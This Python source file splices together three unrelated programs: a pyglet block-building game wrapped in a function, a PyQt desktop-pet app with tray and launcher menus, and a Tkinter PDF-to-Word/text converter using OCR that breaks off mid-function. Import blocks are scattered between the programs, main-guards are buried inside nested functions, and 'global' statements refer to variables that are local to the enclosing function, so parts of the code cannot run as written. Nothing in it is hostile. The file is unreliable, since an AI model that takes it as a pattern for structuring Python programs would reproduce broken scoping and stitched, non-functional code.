from __future__ import division

import sys
import math
import random
import time
def wd():
    # 每秒帧数
    TICKS_PER_SEC = 60

    # 砖块大小
    SECTOR_SIZE = 16

    # 行走速度与飞行速度
    WALKING_SPEED = 5
    FLYING_SPEED = 15

    # 重力与跳跃高度
    GRAVITY = 20.0
    MAX_JUMP_HEIGHT = 1.0

    # About the height of a block.
    # To derive the formula for calculating jump speed, first solve
    #    v_t = v_0 + a * t
    # for the time at which you achieve maximum height, where a is the acceleration
    # due to gravity and v_t = 0. This gives:
    #    t = - v_0 / a
    # Use t and the desired MAX_JUMP_HEIGHT to solve for v_0 (jump speed) in
    #    s = s_0 + v_0 * t + (a * t^2) / 2
    JUMP_SPEED = math.sqrt(2 * GRAVITY * MAX_JUMP_HEIGHT)
    TERMINAL_VELOCITY = 50

    PLAYER_HEIGHT = 2

    if sys.version_info[0] >= 3:
        xrange = range

    def cube_vertices(x, y, z, n):
        """ Return the vertices of the cube at position x, y, z with size 2*n.

        """
        return [
            x-n,y+n,z-n, x-n,y+n,z+n, x+n,y+n,z+n, x+n,y+n,z-n,  # top
            x-n,y-n,z-n, x+n,y-n,z-n, x+n,y-n,z+n, x-n,y-n,z+n,  # bottom
            x-n,y-n,z-n, x-n,y-n,z+n, x-n,y+n,z+n, x-n,y+n,z-n,  # left
            x+n,y-n,z+n, x+n,y-n,z-n, x+n,y+n,z-n, x+n,y+n,z+n,  # right
            x-n,y-n,z+n, x+n,y-n,z+n, x+n,y+n,z+n, x-n,y+n,z+n,  # front
            x+n,y-n,z-n, x-n,y-n,z-n, x-n,y+n,z-n, x+n,y+n,z-n,  # back
        ]


    def tex_coord(x, y, n=4):
        """ 
        Return the bounding vertices of the texture square.

        """
        m = 1.0 / n
        dx = x * m
        dy = y * m
        return dx, dy, dx + m, dy, dx + m, dy + m, dx, dy + m


    def tex_coords(top, bottom, side):
        """ 
        Return a list of the texture squares for the top, bottom and side.

        """
        top = tex_coord(*top)
        bottom = tex_coord(*bottom)
        side = tex_coord(*side)
        result = []
        result.extend(top)
        result.extend(bottom)
        result.extend(side * 4)
        return result


    TEXTURE_PATH = 'texture.png'

    GRASS = tex_coords((1, 0), (0, 1), (0, 0))
    SAND = tex_coords((1, 1), (1, 1), (1, 1))
    BRICK = tex_coords((2, 0), (2, 0), (2, 0))
    STONE = tex_coords((2, 1), (2, 1), (2, 1))

    FACES = [
        ( 0, 1, 0),
        ( 0,-1, 0),
        (-1, 0, 0),
        ( 1, 0, 0),
        ( 0, 0, 1),
        ( 0, 0,-1),
    ]


    def normalize(position):
        """ Accepts `position` of arbitrary precision and returns the block
        containing that position.

        Parameters
        ----------
        position : tuple of len 3

        Returns
        -------
        block_position : tuple of ints of len 3

        """
        x, y, z = position
        x, y, z = (int(round(x)), int(round(y)), int(round(z)))
        return (x, y, z)


    def sectorize(position):
        """ Returns a tuple representing the sector for the given `position`.

        Parameters
        ----------
        position : tuple of len 3

        Returns
        -------
        sector : tuple of len 3

        """
        x, y, z = normalize(position)
        x, y, z = x // SECTOR_SIZE, y // SECTOR_SIZE, z // SECTOR_SIZE
        return (x, 0, z)


    class Model(object):

        def __init__(self):

            # A Batch is a collection of vertex lists for batched rendering.
            self.batch = pyglet.graphics.Batch()

            # A TextureGroup manages an OpenGL texture.
            self.group = TextureGroup(image.load(TEXTURE_PATH).get_texture())

            # A mapping from position to the texture of the block at that position.
            # This defines all the blocks that are currently in the world.
            self.world = {}

            # Same mapping as `world` but only contains blocks that are shown.
            self.shown = {}

            # Mapping from position to a pyglet `VertextList` for all shown blocks.
            self._shown = {}

            # Mapping from sector to a list of positions inside that sector.
            self.sectors = {}

            # Simple function queue implementation. The queue is populated with
            # _show_block() and _hide_block() calls
            self.queue = deque()

            self._initialize()

        def _initialize(self):
            """ Initialize the world by placing all the blocks.

            """
            n = 80  # 1/2 width and height of world
            s = 1  # step size
            y = 0  # initial y height
            for x in xrange(-n, n + 1, s):
                for z in xrange(-n, n + 1, s):
                    # create a layer stone an grass everywhere.
                    self.add_block((x, y - 2, z), GRASS, immediate=False)
                    self.add_block((x, y - 3, z), STONE, immediate=False)
                    if x in (-n, n) or z in (-n, n):
                        # create outer walls.
                        for dy in xrange(-2, 3):
                            self.add_block((x, y + dy, z), STONE, immediate=False)

            # generate the hills randomly
            o = n - 10
            for _ in xrange(120):
                a = random.randint(-o, o)  # x position of the hill
                b = random.randint(-o, o)  # z position of the hill
                c = -1  # base of the hill
                h = random.randint(1, 6)  # height of the hill
                s = random.randint(4, 8)  # 2 * s is the side length of the hill
                d = 1  # how quickly to taper off the hills
                t = random.choice([GRASS, SAND, BRICK])
                for y in xrange(c, c + h):
                    for x in xrange(a - s, a + s + 1):
                        for z in xrange(b - s, b + s + 1):
                            if (x - a) ** 2 + (z - b) ** 2 > (s + 1) ** 2:
                                continue
                            if (x - 0) ** 2 + (z - 0) ** 2 < 5 ** 2:
                                continue
                            self.add_block((x, y, z), t, immediate=False)
                    s -= d  # decrement side lenth so hills taper off

        def hit_test(self, position, vector, max_distance=8):
            """ Line of sight search from current position. If a block is
            intersected it is returned, along with the block previously in the line
            of sight. If no block is found, return None, None.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position to check visibility from.
            vector : tuple of len 3
                The line of sight vector.
            max_distance : int
                How many blocks away to search for a hit.

            """
            m = 8
            x, y, z = position
            dx, dy, dz = vector
            previous = None
            for _ in xrange(max_distance * m):
                key = normalize((x, y, z))
                if key != previous and key in self.world:
                    return key, previous
                previous = key
                x, y, z = x + dx / m, y + dy / m, z + dz / m
            return None, None

        def exposed(self, position):
            """ Returns False is given `position` is surrounded on all 6 sides by
            blocks, True otherwise.

            """
            x, y, z = position
            for dx, dy, dz in FACES:
                if (x + dx, y + dy, z + dz) not in self.world:
                    return True
            return False

        def add_block(self, position, texture, immediate=True):
            """ Add a block with the given `texture` and `position` to the world.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position of the block to add.
            texture : list of len 3
                The coordinates of the texture squares. Use `tex_coords()` to
                generate.
            immediate : bool
                Whether or not to draw the block immediately.

            """
            if position in self.world:
                self.remove_block(position, immediate)
            self.world[position] = texture
            self.sectors.setdefault(sectorize(position), []).append(position)
            if immediate:
                if self.exposed(position):
                    self.show_block(position)
                self.check_neighbors(position)

        def remove_block(self, position, immediate=True):
            """ Remove the block at the given `position`.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position of the block to remove.
            immediate : bool
                Whether or not to immediately remove block from canvas.

            """
            del self.world[position]
            self.sectors[sectorize(position)].remove(position)
            if immediate:
                if position in self.shown:
                    self.hide_block(position)
                self.check_neighbors(position)

        def check_neighbors(self, position):
            """ Check all blocks surrounding `position` and ensure their visual
            state is current. This means hiding blocks that are not exposed and
            ensuring that all exposed blocks are shown. Usually used after a block
            is added or removed.

            """
            x, y, z = position
            for dx, dy, dz in FACES:
                key = (x + dx, y + dy, z + dz)
                if key not in self.world:
                    continue
                if self.exposed(key):
                    if key not in self.shown:
                        self.show_block(key)
                else:
                    if key in self.shown:
                        self.hide_block(key)

        def show_block(self, position, immediate=True):
            """ Show the block at the given `position`. This method assumes the
            block has already been added with add_block()

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position of the block to show.
            immediate : bool
                Whether or not to show the block immediately.

            """
            texture = self.world[position]
            self.shown[position] = texture
            if immediate:
                self._show_block(position, texture)
            else:
                self._enqueue(self._show_block, position, texture)

        def _show_block(self, position, texture):
            """ Private implementation of the `show_block()` method.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position of the block to show.
            texture : list of len 3
                The coordinates of the texture squares. Use `tex_coords()` to
                generate.

            """
            x, y, z = position
            vertex_data = cube_vertices(x, y, z, 0.5)
            texture_data = list(texture)
            # create vertex list
            # FIXME Maybe `add_indexed()` should be used instead
            self._shown[position] = self.batch.add(24, GL_QUADS, self.group,
                ('v3f/static', vertex_data),
                ('t2f/static', texture_data))

        def hide_block(self, position, immediate=True):
            """ Hide the block at the given `position`. Hiding does not remove the
            block from the world.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position of the block to hide.
            immediate : bool
                Whether or not to immediately remove the block from the canvas.

            """
            self.shown.pop(position)
            if immediate:
                self._hide_block(position)
            else:
                self._enqueue(self._hide_block, position)

        def _hide_block(self, position):
            """ Private implementation of the 'hide_block()` method.

            """
            self._shown.pop(position).delete()

        def show_sector(self, sector):
            """ Ensure all blocks in the given sector that should be shown are
            drawn to the canvas.

            """
            for position in self.sectors.get(sector, []):
                if position not in self.shown and self.exposed(position):
                    self.show_block(position, False)

        def hide_sector(self, sector):
            """ Ensure all blocks in the given sector that should be hidden are
            removed from the canvas.

            """
            for position in self.sectors.get(sector, []):
                if position in self.shown:
                    self.hide_block(position, False)

        def change_sectors(self, before, after):
            """ Move from sector `before` to sector `after`. A sector is a
            contiguous x, y sub-region of world. Sectors are used to speed up
            world rendering.

            """
            before_set = set()
            after_set = set()
            pad = 4
            for dx in xrange(-pad, pad + 1):
                for dy in [0]:  # xrange(-pad, pad + 1):
                    for dz in xrange(-pad, pad + 1):
                        if dx ** 2 + dy ** 2 + dz ** 2 > (pad + 1) ** 2:
                            continue
                        if before:
                            x, y, z = before
                            before_set.add((x + dx, y + dy, z + dz))
                        if after:
                            x, y, z = after
                            after_set.add((x + dx, y + dy, z + dz))
            show = after_set - before_set
            hide = before_set - after_set
            for sector in show:
                self.show_sector(sector)
            for sector in hide:
                self.hide_sector(sector)

        def _enqueue(self, func, *args):
            """ Add `func` to the internal queue.

            """
            self.queue.append((func, args))

        def _dequeue(self):
            """ Pop the top function from the internal queue and call it.

            """
            func, args = self.queue.popleft()
            func(*args)

        def process_queue(self):
            """ Process the entire queue while taking periodic breaks. This allows
            the game loop to run smoothly. The queue contains calls to
            _show_block() and _hide_block() so this method should be called if
            add_block() or remove_block() was called with immediate=False

            """
            start = time.perf_counter()
            while self.queue and time.perf_counter() - start < 1.0 / TICKS_PER_SEC:
                self._dequeue()

        def process_entire_queue(self):
            """ Process the entire queue with no breaks.

            """
            while self.queue:
                self._dequeue()


    class Window(pyglet.window.Window):

        def __init__(self, *args, **kwargs):
            super(Window, self).__init__(*args, **kwargs)

            # Whether or not the window exclusively captures the mouse.
            self.exclusive = False

            # When flying gravity has no effect and speed is increased.
            self.flying = False

            # Strafing is moving lateral to the direction you are facing,
            # e.g. moving to the left or right while continuing to face forward.
            #
            # First element is -1 when moving forward, 1 when moving back, and 0
            # otherwise. The second element is -1 when moving left, 1 when moving
            # right, and 0 otherwise.
            self.strafe = [0, 0]

            # Current (x, y, z) position in the world, specified with floats. Note
            # that, perhaps unlike in math class, the y-axis is the vertical axis.
            self.position = (0, 0, 0)

            # First element is rotation of the player in the x-z plane (ground
            # plane) measured from the z-axis down. The second is the rotation
            # angle from the ground plane up. Rotation is in degrees.
            #
            # The vertical plane rotation ranges from -90 (looking straight down) to
            # 90 (looking straight up). The horizontal rotation range is unbounded.
            self.rotation = (0, 0)

            # Which sector the player is currently in.
            self.sector = None

            # The crosshairs at the center of the screen.
            self.reticle = None

            # Velocity in the y (upward) direction.
            self.dy = 0

            # A list of blocks the player can place. Hit num keys to cycle.
            self.inventory = [BRICK, GRASS, SAND]

            # The current block the user can place. Hit num keys to cycle.
            self.block = self.inventory[0]

            # Convenience list of num keys.
            self.num_keys = [
                key._1, key._2, key._3, key._4, key._5,
                key._6, key._7, key._8, key._9, key._0]

            # Instance of the model that handles the world.
            self.model = Model()

            # The label that is displayed in the top left of the canvas.
            self.label = pyglet.text.Label('', font_name='Arial', font_size=18,
                x=10, y=self.height - 10, anchor_x='left', anchor_y='top',
                color=(0, 0, 0, 255))

            # This call schedules the `update()` method to be called
            # TICKS_PER_SEC. This is the main game event loop.
            pyglet.clock.schedule_interval(self.update, 1.0 / TICKS_PER_SEC)

        def set_exclusive_mouse(self, exclusive):
            """ If `exclusive` is True, the game will capture the mouse, if False
            the game will ignore the mouse.

            """
            super(Window, self).set_exclusive_mouse(exclusive)
            self.exclusive = exclusive

        def get_sight_vector(self):
            """ Returns the current line of sight vector indicating the direction
            the player is looking.

            """
            x, y = self.rotation
            # y ranges from -90 to 90, or -pi/2 to pi/2, so m ranges from 0 to 1 and
            # is 1 when looking ahead parallel to the ground and 0 when looking
            # straight up or down.
            m = math.cos(math.radians(y))
            # dy ranges from -1 to 1 and is -1 when looking straight down and 1 when
            # looking straight up.
            dy = math.sin(math.radians(y))
            dx = math.cos(math.radians(x - 90)) * m
            dz = math.sin(math.radians(x - 90)) * m
            return (dx, dy, dz)

        def get_motion_vector(self):
            """ Returns the current motion vector indicating the velocity of the
            player.

            Returns
            -------
            vector : tuple of len 3
                Tuple containing the velocity in x, y, and z respectively.

            """
            if any(self.strafe):
                x, y = self.rotation
                strafe = math.degrees(math.atan2(*self.strafe))
                y_angle = math.radians(y)
                x_angle = math.radians(x + strafe)
                if self.flying:
                    m = math.cos(y_angle)
                    dy = math.sin(y_angle)
                    if self.strafe[1]:
                        # Moving left or right.
                        dy = 0.0
                        m = 1
                    if self.strafe[0] > 0:
                        # Moving backwards.
                        dy *= -1
                    # When you are flying up or down, you have less left and right
                    # motion.
                    dx = math.cos(x_angle) * m
                    dz = math.sin(x_angle) * m
                else:
                    dy = 0.0
                    dx = math.cos(x_angle)
                    dz = math.sin(x_angle)
            else:
                dy = 0.0
                dx = 0.0
                dz = 0.0
            return (dx, dy, dz)

        def update(self, dt):
            """ This method is scheduled to be called repeatedly by the pyglet
            clock.

            Parameters
            ----------
            dt : float
                The change in time since the last call.

            """
            self.model.process_queue()
            sector = sectorize(self.position)
            if sector != self.sector:
                self.model.change_sectors(self.sector, sector)
                if self.sector is None:
                    self.model.process_entire_queue()
                self.sector = sector
            m = 8
            dt = min(dt, 0.2)
            for _ in xrange(m):
                self._update(dt / m)

        def _update(self, dt):
            """ Private implementation of the `update()` method. This is where most
            of the motion logic lives, along with gravity and collision detection.

            Parameters
            ----------
            dt : float
                The change in time since the last call.

            """
            # walking
            speed = FLYING_SPEED if self.flying else WALKING_SPEED
            d = dt * speed # distance covered this tick.
            dx, dy, dz = self.get_motion_vector()
            # New position in space, before accounting for gravity.
            dx, dy, dz = dx * d, dy * d, dz * d
            # gravity
            if not self.flying:
                # Update your vertical speed: if you are falling, speed up until you
                # hit terminal velocity; if you are jumping, slow down until you
                # start falling.
                self.dy -= dt * GRAVITY
                self.dy = max(self.dy, -TERMINAL_VELOCITY)
                dy += self.dy * dt
            # collisions
            x, y, z = self.position
            x, y, z = self.collide((x + dx, y + dy, z + dz), PLAYER_HEIGHT)
            self.position = (x, y, z)

        def collide(self, position, height):
            """ Checks to see if the player at the given `position` and `height`
            is colliding with any blocks in the world.

            Parameters
            ----------
            position : tuple of len 3
                The (x, y, z) position to check for collisions at.
            height : int or float
                The height of the player.

            Returns
            -------
            position : tuple of len 3
                The new position of the player taking into account collisions.

            """
            # How much overlap with a dimension of a surrounding block you need to
            # have to count as a collision. If 0, touching terrain at all counts as
            # a collision. If .49, you sink into the ground, as if walking through
            # tall grass. If >= .5, you'll fall through the ground.
            pad = 0.25
            p = list(position)
            np = normalize(position)
            for face in FACES:  # check all surrounding blocks
                for i in xrange(3):  # check each dimension independently
                    if not face[i]:
                        continue
                    # How much overlap you have with this dimension.
                    d = (p[i] - np[i]) * face[i]
                    if d < pad:
                        continue
                    for dy in xrange(height):  # check each height
                        op = list(np)
                        op[1] -= dy
                        op[i] += face[i]
                        if tuple(op) not in self.model.world:
                            continue
                        p[i] -= (d - pad) * face[i]
                        if face == (0, -1, 0) or face == (0, 1, 0):
                            # You are colliding with the ground or ceiling, so stop
                            # falling / rising.
                            self.dy = 0
                        break
            return tuple(p)

        def on_mouse_press(self, x, y, button, modifiers):
            """ Called when a mouse button is pressed. See pyglet docs for button
            amd modifier mappings.

            Parameters
            ----------
            x, y : int
                The coordinates of the mouse click. Always center of the screen if
                the mouse is captured.
            button : int
                Number representing mouse button that was clicked. 1 = left button,
                4 = right button.
            modifiers : int
                Number representing any modifying keys that were pressed when the
                mouse button was clicked.

            """
            if self.exclusive:
                vector = self.get_sight_vector()
                block, previous = self.model.hit_test(self.position, vector)
                if (button == mouse.RIGHT) or \
                        ((button == mouse.LEFT) and (modifiers & key.MOD_CTRL)):
                    # ON OSX, control + left click = right click.
                    if previous:
                        self.model.add_block(previous, self.block)
                elif button == pyglet.window.mouse.LEFT and block:
                    texture = self.model.world[block]
                    if texture != STONE:
                        self.model.remove_block(block)
            else:
                self.set_exclusive_mouse(True)

        def on_mouse_motion(self, x, y, dx, dy):
            """ Called when the player moves the mouse.

            Parameters
            ----------
            x, y : int
                The coordinates of the mouse click. Always center of the screen if
                the mouse is captured.
            dx, dy : float
                The movement of the mouse.

            """
            if self.exclusive:
                m = 0.15
                x, y = self.rotation
                x, y = x + dx * m, y + dy * m
                y = max(-90, min(90, y))
                self.rotation = (x, y)

        def on_key_press(self, symbol, modifiers):
            """ Called when the player presses a key. See pyglet docs for key
            mappings.

            Parameters
            ----------
            symbol : int
                Number representing the key that was pressed.
            modifiers : int
                Number representing any modifying keys that were pressed.

            """
            if symbol == key.W:
                self.strafe[0] -= 1
            elif symbol == key.S:
                self.strafe[0] += 1
            elif symbol == key.A:
                self.strafe[1] -= 1
            elif symbol == key.D:
                self.strafe[1] += 1
            elif symbol == key.SPACE:
                if self.dy == 0:
                    self.dy = JUMP_SPEED
            elif symbol == key.ESCAPE:
                self.set_exclusive_mouse(False)
            elif symbol == key.TAB:
                self.flying = not self.flying
            elif symbol in self.num_keys:
                index = (symbol - self.num_keys[0]) % len(self.inventory)
                self.block = self.inventory[index]

        def on_key_release(self, symbol, modifiers):
            """ Called when the player releases a key. See pyglet docs for key
            mappings.

            Parameters
            ----------
            symbol : int
                Number representing the key that was pressed.
            modifiers : int
                Number representing any modifying keys that were pressed.

            """
            if symbol == key.W:
                self.strafe[0] += 1
            elif symbol == key.S:
                self.strafe[0] -= 1
            elif symbol == key.A:
                self.strafe[1] += 1
            elif symbol == key.D:
                self.strafe[1] -= 1

        def on_resize(self, width, height):
            """ Called when the window is resized to a new `width` and `height`.

            """
            # label
            self.label.y = height - 10
            # reticle
            if self.reticle:
                self.reticle.delete()
            x, y = self.width // 2, self.height // 2
            n = 10
            self.reticle = pyglet.graphics.vertex_list(4,
                ('v2i', (x - n, y, x + n, y, x, y - n, x, y + n))
            )

        def set_2d(self):
            """ Configure OpenGL to draw in 2d.

            """
            width, height = self.get_size()
            glDisable(GL_DEPTH_TEST)
            viewport = self.get_viewport_size()
            glViewport(0, 0, max(1, viewport[0]), max(1, viewport[1]))
            glMatrixMode(GL_PROJECTION)
            glLoadIdentity()
            glOrtho(0, max(1, width), 0, max(1, height), -1, 1)
            glMatrixMode(GL_MODELVIEW)
            glLoadIdentity()

        def set_3d(self):
            """ Configure OpenGL to draw in 3d.

            """
            width, height = self.get_size()
            glEnable(GL_DEPTH_TEST)
            viewport = self.get_viewport_size()
            glViewport(0, 0, max(1, viewport[0]), max(1, viewport[1]))
            glMatrixMode(GL_PROJECTION)
            glLoadIdentity()
            gluPerspective(65.0, width / float(height), 0.1, 60.0)
            glMatrixMode(GL_MODELVIEW)
            glLoadIdentity()
            x, y = self.rotation
            glRotatef(x, 0, 1, 0)
            glRotatef(-y, math.cos(math.radians(x)), 0, math.sin(math.radians(x)))
            x, y, z = self.position
            glTranslatef(-x, -y, -z)

        def on_draw(self):
            """ Called by pyglet to draw the canvas.

            """
            self.clear()
            self.set_3d()
            glColor3d(1, 1, 1)
            self.model.batch.draw()
            self.draw_focused_block()
            self.set_2d()
            self.draw_label()
            self.draw_reticle()

        def draw_focused_block(self):
            """ Draw black edges around the block that is currently under the
            crosshairs.

            """
            vector = self.get_sight_vector()
            block = self.model.hit_test(self.position, vector)[0]
            if block:
                x, y, z = block
                vertex_data = cube_vertices(x, y, z, 0.51)
                glColor3d(0, 0, 0)
                glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)
                pyglet.graphics.draw(24, GL_QUADS, ('v3f/static', vertex_data))
                glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)

        def draw_label(self):
            """ Draw the label in the top left of the screen.

            """
            x, y, z = self.position
            self.label.text = '%02d (%.2f, %.2f, %.2f) %d / %d' % (
                pyglet.clock.get_fps(), x, y, z,
                len(self.model._shown), len(self.model.world))
            self.label.draw()

        def draw_reticle(self):
            """ Draw the crosshairs in the center of the screen.

            """
            glColor3d(0, 0, 0)
            self.reticle.draw(GL_LINES)


    def setup_fog():
        """ Configure the OpenGL fog properties.

        """
        # Enable fog. Fog "blends a fog color with each rasterized pixel fragment's
        # post-texturing color."
        glEnable(GL_FOG)
        # Set the fog color.
        glFogfv(GL_FOG_COLOR, (GLfloat * 4)(0.5, 0.69, 1.0, 1))
        # Say we have no preference between rendering speed and quality.
        glHint(GL_FOG_HINT, GL_DONT_CARE)
        # Specify the equation used to compute the blending factor.
        glFogi(GL_FOG_MODE, GL_LINEAR)
        # How close and far away fog starts and ends. The closer the start and end,
        # the denser the fog in the fog range.
        glFogf(GL_FOG_START, 20.0)
        glFogf(GL_FOG_END, 60.0)


    def setup():
        """ Basic OpenGL configuration.

        """
        # Set the color of "clear", i.e. the sky, in rgba.
        glClearColor(0.5, 0.69, 1.0, 1)
        # Enable culling (not rendering) of back-facing facets -- facets that aren't
        # visible to you.
        glEnable(GL_CULL_FACE)
        # Set the texture minification/magnification function to GL_NEAREST (nearest
        # in Manhattan distance) to the specified texture coordinates. GL_NEAREST
        # "is generally faster than GL_LINEAR, but it can produce textured images
        # with sharper edges because the transition between texture elements is not
        # as smooth."
        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)
        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)
        setup_fog()


    def main():
        window = Window(width=800, height=600, caption='Pyglet', resizable=True)
        # Hide the mouse cursor and prevent the mouse from leaving the window.
        window.set_exclusive_mouse(True)
        setup()
        pyglet.app.run()


    if __name__ == '__main__':
        main()


from collections import deque
from pyglet import image
from pyglet.gl import *
from pyglet.graphics import TextureGroup
from pyglet.window import key, mouse

import tkinter as tk
import tkinter
from functools import partial
import Ui_py2exe
import sys
from PyQt5.QtWidgets import QApplication,QMainWindow,QMessageBox
import os
import pygame
import sys
import time
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
import traceback
import myplane
import enemy
import bullet
import supply

from pygame.locals import *
from random import *
from pathlib import PureWindowsPath
def z():
    class Sister():
        def __init__(self,width=1400,height=800):
            self.image_key = 1
            self.image_url = 'image/meizi/meizi_ ('
            self.image = self.image_url + str(self.image_key) + ').png'
            self.birthplace = (width, height)
            self.ract_x = width
            self.ract_y = height

        def gif(self):
            if self.image_key < 61:
                self.image_key += 1
            else:
                self.image_key = 1
            self.image = self.image_url + str(self.image_key) + ').png'

    class MyLabel(QLabel):
        def __init__(self, *args, **kw):
            super().__init__(*args, **kw)
            #声明
            self.setContextMenuPolicy(Qt.CustomContextMenu)
            # 开放右键策略
            self.customContextMenuRequested.connect(self.rightMenuShow)

        # 添加右键菜单
        def rightMenuShow(self, pos):
            menu = QMenu(self)
            menu.addAction(QAction(QIcon('image/net.png'), '浏览器', self, triggered=self.net))
            menu.addAction(QAction(QIcon('image/music.ico'), '网易云', self, triggered=self.music))
            menu.addAction(QAction(QIcon('image/eye.png'), '隐藏', self, triggered=self.hide))
            menu.addAction(QAction(QIcon('image/exit.png'), '退出', self, triggered=self.quit))
            # menu.addAction(QAction(QIcon('image/exit.png'), '打开网易云', self, triggered=self.music))
            menu.exec_(QCursor.pos())

        def quit(self):
            self.close()
            sys.exit()

        def hide(self):
            self.setVisible(False)

        def music(self):

            try:
                os.startfile(r'D:\CloudMusic\cloudmusic.exe')
            except:
                print('路径不正确')

        def net(self):
            try:
                os.startfile(r'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe')
            except:
                print('路径不正确')


    class TablePet(QWidget):
        def __init__(self):
            super(TablePet, self).__init__()

            self.sister=Sister()

            self.is_follow_mouse = False

            self.initUi()
            self.tray()

            # 每隔一段时间执行
            timer_sister = QTimer(self)
            timer_sister.timeout.connect(self.gem)
            timer_sister.start(250)

        def gem(self):
            ##僵尸实现gif效果
            self.sister.gif()
            self.pm_sister= QPixmap(self.sister.image)
            self.lb_sister.setPixmap(self.pm_sister)

        def initUi(self):

            ##窗口大小
            screen = QDesktopWidget().screenGeometry()
            self.setGeometry(0,0,screen.width(),screen.height())

            ##僵尸标签
            self.lb_sister = MyLabel(self)
            self.pm_sister= QPixmap(self.sister.image)
            self.lb_sister.setPixmap(self.pm_sister)
            self.lb_sister.move(self.sister.ract_x, self.sister.ract_y)

            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.SubWindow)
            self.setAutoFillBackground(False)
            self.setAttribute(Qt.WA_TranslucentBackground, True)
            self.showMaximized()


        def mouseDoubleClickEvent(self, QMouseEvent):
            self.hide()

        def mousePressEvent(self, event):
            if event.button() == Qt.LeftButton:
                self.is_follow_mouse = True

                event.accept()
                self.setCursor(QCursor(Qt.OpenHandCursor))

        def mouseMoveEvent(self, event):
            if Qt.LeftButton and self.is_follow_mouse:
                self.sister.ract_x=QCursor.pos().x()-77
                self.sister.ract_y=QCursor.pos().y()-63
                self.lb_sister.move(self.sister.ract_x,self.sister.ract_y)
                event.accept()

        def mouseReleaseEvent(self, event):
            self.is_follow_mouse = False
            self.setCursor(QCursor(Qt.ArrowCursor))

        # 系统托盘
        def tray(self):
            tray = QSystemTrayIcon(self)
            tray.setIcon(QIcon('image/meizi/0.png'))

            display = QAction(QIcon('image/eye.png'), '显示', self, triggered=self.display)
            quit = QAction(QIcon('image/exit.png'), '退出', self, triggered=self.quit)
            menu = QMenu(self)
            menu.addAction(quit)
            menu.addAction(display)
            tray.setContextMenu(menu)
            tray.show()

        def quit(self):
            self.close()
            sys.exit()

        def hide(self):

            self.lb_sister.setVisible(False)

        def display(self):
            self.lb_sister.setVisible(True)


    if __name__ == '__main__':
        app=QApplication(sys.argv)
        pet=TablePet()
        sys.exit(app.exec_())

import six
from pdf2docx import Converter
import zipfile  # 压缩包
import os  # 文件库
import pytesseract
from tkinter import *
import tkinter.filedialog
from PIL import Image
import shutil
def pdf():
    root = Tk()
    root.title('PDF转换WORD,TXT')
    root.geometry('580x300')

    PDF_FilePath = ''#用来保存PDF文件路径
    DOCX_FilePath = ''#用来保存Word文件路径
    TEXT_FilePth = ''#用来保存Text文件路径
    Image_BaseForder = 'C:\\Temp'#临时用来存放WORD中的图片，方便后续分析识别图片中的文字

    def Button1Anwser():
        global PDF_FilePath
        Path = Label(root, text='')
        PDF_FilePath = tkinter.filedialog.askopenfilename()
        Path.config(text = PDF_FilePath)
        Path.grid(row=2, column=0, sticky=W)

    def Button4Anwser():
        global DOCX_FilePath
        Path = Label(root, text='')
        DOCX_FilePath = tkinter.filedialog.askopenfilename()
        Path.config(text = DOCX_FilePath)
        Path.grid(row=6, column=0, sticky=W)

    def Button2Anwser():
        global PDF_FilePath
        global DOCX_FilePath

        if(PDF_FilePath == ""):
            Text = Label(root, text='')
            Text.config(text='请先选择PDF文件')
            Text.grid(row=3, column=1)

        DOCX_FilePath = PDF_FilePath.split('.')[0] + '.docx'
        Text = Label(root, text='')
        Text.config(text='开始转换')
        Text.grid(row=3, column=1)

        cv = Converter(PDF_FilePath)
        cv.convert(DOCX_FilePath, start=0, end=None)
        cv.close()

        Text = Label(root, text='')
        Text.config(text='转换完成')
        Text.grid(row=3, column=1)

        Path = Label(root, text='')
        Path.config(text=DOCX_FilePath)
        Path.grid(row=4, column=0, sticky=W)

    def Button3Anwser():
        global DOCX_FilePath
        global TEXT_FilePth
        global Image_BaseForder

        if(PDF_FilePath == ""):
            Text = Label(root, text='')
            Text.config(text='请先选择PDF文件')
            Text.grid(row=7, column=1)

        TEXT_FilePth = PDF_FilePath.split('.')[0] + '.txt'
        Text = Label(root, text='')
        Text.config(text='开始转换')
        Text.grid(row=7, column=1)

        ToText(DOCX_FilePath)

        Text = Label(root, text='')
        Text.config(text='转换完成')
        Text.grid(row=7, column=1)

        Path = Label(root, text='')
        Path.config(text=TEXT_FilePth)
        Path.grid(row=8, column=0, sticky=W)

        shutil.rmtree(Image_BaseForder)
    class Get_WordContent:
        def __init__(self, Word_Path):
            self.Word_Path = Word_Path

        # 将Word文档中的图片提取出来，存放到文件夹
        def Get_Image(self):
            global TEXT_FilePth
            Word_Path = self.Word_Path
            try:
                TEXT_FilePth = PDF_FilePath.split('.')[0] + '.txt'
                Doc = zipfile.ZipFile(Word_Path)
                #存放的文件夹名称要按照文档名称进行区分
                Image_Forder = Image_BaseForder + "\\" + PDF_FilePath.split("/")[-1].split('.')[0]

                if(os.path.exists(Image_Forder) == 0):
                    os.makedirs(Image_Forder)

                #进行图片的保存
                for Info in Doc.infolist():
                    if Info.filename.endswith((".jpg", '.jpeg', '.png', '.gif', 'bmp')):
                        Doc.extract(Info.filename, Image_Forder)
            except Exception as e:
                print(e)
            finally:
                pass

        def Get_Words(self):
            global TEXT_FilePth
            try:
                fd = open(TEXT_FilePth, 'w')
                Image_Forder = Image_BaseForder + "\\" + DOCX_FilePath.split("/")[-1].split('.')[0] + "\\word\\media"  # 图片路径
                if os.path.exists(Image_Forder) != 0:
                    for filename in os.listdir(Image_Forder):
                        words = ""
                        #获取每一张图片的文本信息
                        words = str(
                            pytesseract.image_to_string(Image.open(Image_Forder + "\\" + filename), lang="chi_sim"))
                        fd.write(words)
                fd.close()
            except Exception as e:
                print(e)
            finally:
                pass

    def ToText(WordPath):
        WordContent = Get_WordContent(WordPath)
